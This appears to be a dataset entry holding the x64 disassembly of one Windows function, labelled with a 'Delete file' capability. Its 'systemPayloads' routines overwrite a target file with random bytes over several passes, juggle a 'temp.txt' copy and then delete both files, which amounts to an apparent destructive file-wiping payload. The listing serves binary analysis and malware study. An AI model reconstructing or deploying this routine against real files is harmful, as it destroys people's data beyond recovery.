Function at 0x1400108b5
Capabilities:
Delete file

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x4f0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x490], rcx
mov rdx, qword [rbp + 0x490]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400c84e0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.1400c84e0
lea rax, [rbp + 0x3ff]
mov qword [rbp + 0x450], rax
nop
nop
lea rdx, [rbp + 0x3ff]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.temp.txt
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3ff]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov byte [rbp + 0x46f], 0
mov byte [rbp + 0x46e], 1
mov ecx, 0
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
mov ecx, eax
call sym.srand
mov edx, 4
mov ecx, 8
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x1400109aa
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
lea rax, [rbp - 0x20]
mov r8d, 2
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x400]
lea rdx, [rbp - 0x20]
mov rcx, rax
call method.std::istream.tellg__
lea rax, [rbp + 0x400]
mov rcx, rax
call method.std::fpos__Mbstatet_.operator_long_long___const
mov qword [rbp + 0x460], rax
lea rax, [rbp - 0x20]
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
cmp qword [rbp + 0x460], 0x96
jbe 0x140010cd4
lea rax, [rbp + 0x41f]
mov qword [rbp + 0x448], rax
nop
nop
lea rdx, [rbp + 0x41f]
lea rax, [rbp + 0x3e0]
mov r8, rdx
mov edx, 0x96
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0x41f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rax, [rbp - 0x20]
mov r8d, 0x96
mov rcx, rax
call method.std::istream.read_char__long_long_
mov edx, 4
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140010ad8
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x140010cb6
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rax, [rbp + 0x1d0]
add rax, 0x10
mov r8d, 0x96
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
mov edx, 4
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140010b7c
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x140010cb6
mov edx, 4
mov ecx, 8
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140010c4f
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x140010cb6
movzx eax, byte [rbp + 0x3fe]
movsx eax, al
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::ostream.put_char_
lea rax, [rbp - 0x20]
add rax, 0xe8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.fail___const
test al, al
je 0x140010c4f
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x140010cb6
lea rdx, [rbp + 0x3fe]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::istream.get_char_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
jne 0x140010bf0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
mov esi, 1
lea rax, [rbp + 0x3e0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
cmp esi, 1
je 0x140010ce0
mov esi, 0
jmp 0x1400116c8
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, 8
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140010d24
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, 0x10
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140010de9
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
add eax, 0xffffff80
mov byte [rbp + 0x3fe], al
movzx eax, byte [rbp + 0x3fe]
movsx eax, al
lea rdx, [rbp + 0x1d0]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea rax, [rbp + 0x1d0]
add rax, 0xe8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.fail___const
test al, al
je 0x140010de9
mov byte [rbp + 0x46e], 0
jmp 0x140010e2b
lea rax, [rbp - 0x20]
lea rdx, [method.std.noskipws_std::ios_base_]
mov rcx, rax
call method.std::istream.operator___std::ios_base____std::ios_base__
mov rcx, rax
lea rax, [rbp + 0x3fe]
mov rdx, rax
call fcn.1400fbce0
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
jne 0x140010d8a
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, 0x10
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140010e96
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, 8
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140010f30
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
movzx eax, byte [rbp + 0x3fe]
movsx eax, al
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea rax, [rbp - 0x20]
add rax, 0xe8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.fail___const
test al, al
je 0x140010f30
mov byte [rbp + 0x46e], 0
jmp 0x140010f71
lea rax, [rbp + 0x1d0]
lea rdx, [method.std.noskipws_std::ios_base_]
mov rcx, rax
call method.std::istream.operator___std::ios_base____std::ios_base__
mov rcx, rax
lea rax, [rbp + 0x3fe]
mov rdx, rax
call fcn.1400fbce0
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
jne 0x140010ef8
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
cmp byte [rbp + 0x46e], 0
je 0x140010fb0
mov byte [rbp + 0x46f], 1
movzx eax, byte [rbp + 0x46f]
xor eax, 1
test al, al
je 0x140011691
mov edx, 4
mov ecx, 8
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x14001100c
mov byte [rbp + 0x46e], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov r8d, 2
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x420]
lea rdx, [rbp - 0x20]
mov rcx, rax
call method.std::istream.tellg__
lea rax, [rbp + 0x420]
mov rcx, rax
call method.std::fpos__Mbstatet_.operator_long_long___const
mov qword [rbp + 0x458], rax
lea rax, [rbp - 0x20]
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
cmp qword [rbp + 0x458], 0x96
jbe 0x140011352
lea rax, [rbp + 0x43f]
mov qword [rbp + 0x440], rax
nop
nop
lea rdx, [rbp + 0x43f]
lea rax, [rbp + 0x3c0]
mov r8, rdx
mov edx, 0x96
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0x43f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x3c0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rax, [rbp - 0x20]
mov r8d, 0x96
mov rcx, rax
call method.std::istream.read_char__long_long_
mov edx, 4
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x14001114d
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov byte [rbp + 0x46e], 0
mov ebx, 0
mov esi, 0
jmp 0x140011334
lea rax, [rbp + 0x3c0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rax, [rbp + 0x1d0]
add rax, 0x10
mov r8d, 0x96
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
mov edx, 4
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x1400111f8
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov byte [rbp + 0x46e], 0
mov ebx, 0
mov esi, 0
jmp 0x140011334
mov edx, 4
mov ecx, 8
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x1400112cd
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov byte [rbp + 0x46e], 0
mov ebx, 0
mov esi, 0
jmp 0x140011334
movzx eax, byte [rbp + 0x3fe]
movsx eax, al
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::ostream.put_char_
lea rax, [rbp - 0x20]
add rax, 0xe8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.fail___const
test al, al
je 0x1400112cd
mov byte [rbp + 0x46e], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x140011334
lea rdx, [rbp + 0x3fe]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::istream.get_char_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
jne 0x140011273
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
mov esi, 1
lea rax, [rbp + 0x3c0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
cmp esi, 1
je 0x14001135e
mov esi, 0
jmp 0x1400116c8
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
mov edx, 4
mov ecx, 8
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x1400113b0
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
mov edx, 4
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x1400114a5
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
add eax, 0xffffff80
mov byte [rbp + 0x3fe], al
movzx eax, byte [rbp + 0x3fe]
movsx eax, al
lea rdx, [rbp + 0x1d0]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::ostream.put_char_
lea rax, [rbp - 0x20]
add rax, 0xe8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.fail___const
test al, al
je 0x1400114a5
mov byte [rbp + 0x46e], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
lea rdx, [rbp + 0x3fe]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::istream.get_char_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
jne 0x140011424
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
mov edx, 4
mov ecx, 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x14001154e
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
mov edx, 4
mov ecx, 8
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1d0]
mov r8d, ecx
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x14001161f
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
movzx eax, byte [rbp + 0x3fe]
movsx eax, al
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 0x10]
mov edx, eax
call method.std::ostream.put_char_
lea rax, [rbp - 0x20]
add rax, 0xe8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.fail___const
test al, al
je 0x14001161f
mov byte [rbp + 0x46e], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
lea rdx, [rbp + 0x3fe]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::istream.get_char_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
jne 0x1400115c2
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
cmp byte [rbp + 0x46e], 0
je 0x140011691
mov byte [rbp + 0x46f], 1
movzx eax, byte [rbp + 0x46f]
xor eax, 1
test al, al
je 0x1400116c3
lea rax, [rbp - 0x60]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call method.systemPayloads.deleteFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 0
mov esi, 0
jmp 0x1400116c8
mov esi, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp esi, 1
jne 0x1400116e0
mov esi, 1
jmp 0x1400116e5
mov esi, 0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.basic_fstream__
cmp esi, 1
jne 0x140011700
mov esi, 1
jmp 0x140011705
mov esi, 0
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_fstream_char__std::char_traits_char___.basic_fstream__
cmp esi, 1
jne 0x14001171d
mov esi, 1
jmp 0x140011722
mov esi, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp esi, 1
jne 0x140011738
mov ebx, 0
mov eax, ebx
jmp 0x1400118fd
add rsp, 0x4f0
pop rbx
pop rsi
pop rbp
ret